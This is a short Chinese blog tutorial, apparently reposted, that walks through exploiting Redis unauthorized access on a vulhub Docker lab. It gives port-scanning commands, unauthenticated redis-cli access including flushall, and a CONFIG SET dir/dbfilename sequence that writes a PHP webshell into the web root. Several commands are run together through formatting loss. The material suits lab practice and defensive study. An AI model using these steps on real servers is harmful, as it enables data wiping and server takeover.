本文共 894 字,大约阅读时间需要 2 分钟。
Redis是一款开源的数据库系统,使用ANSI C编写,支持网络访问且可存储在内存中。它支持多种数据类型,包括字符串、列表、集合、有序集合和哈希,且所有操作均为原子性。Redis默认使用6379端口,支持主从复制和持久化存储。
Redis的主要漏洞之一是未授权访问,这通常由配置不当引发。攻击者可能利用这个漏洞绕过身份验证,直接访问Redis服务。在某些情况下,如果Redis以root身份运行,攻击者可将SSH公钥写入文件,进而通过SSH登录并造成严重后果。
部署Redis环境
使用Docker运行Redis,执行以下命令:cd /vulhub/redis/4-unacdocker-compose up -d
端口扫描
使用masscan扫描靶机开放的端口:masscan 192.168.41.139 -p 1-10000 --rate 100000
检查发现6379端口开放,进一步使用nmap获取Redis信息:
nmap -A -p 6379 --scripts redis-info 192.168.41.139
连接Redis
使用Redis客户端从攻击机连接靶机:redis-cli -h 192.168.41.139 info
查看Redis信息并执行操作,如keys *
、get key
、flushall
和del key
。
获取敏感数据
通过Redis操作获取数据库信息,例如删除所有数据或获取特定键的值。config set dir /var/www/htmlset xxx "\n\n\n \n\n\n"config set dbfilename shell.phpsave
通过工具连接即可控制服务器。
转载地址:http://shog.baihongyu.com/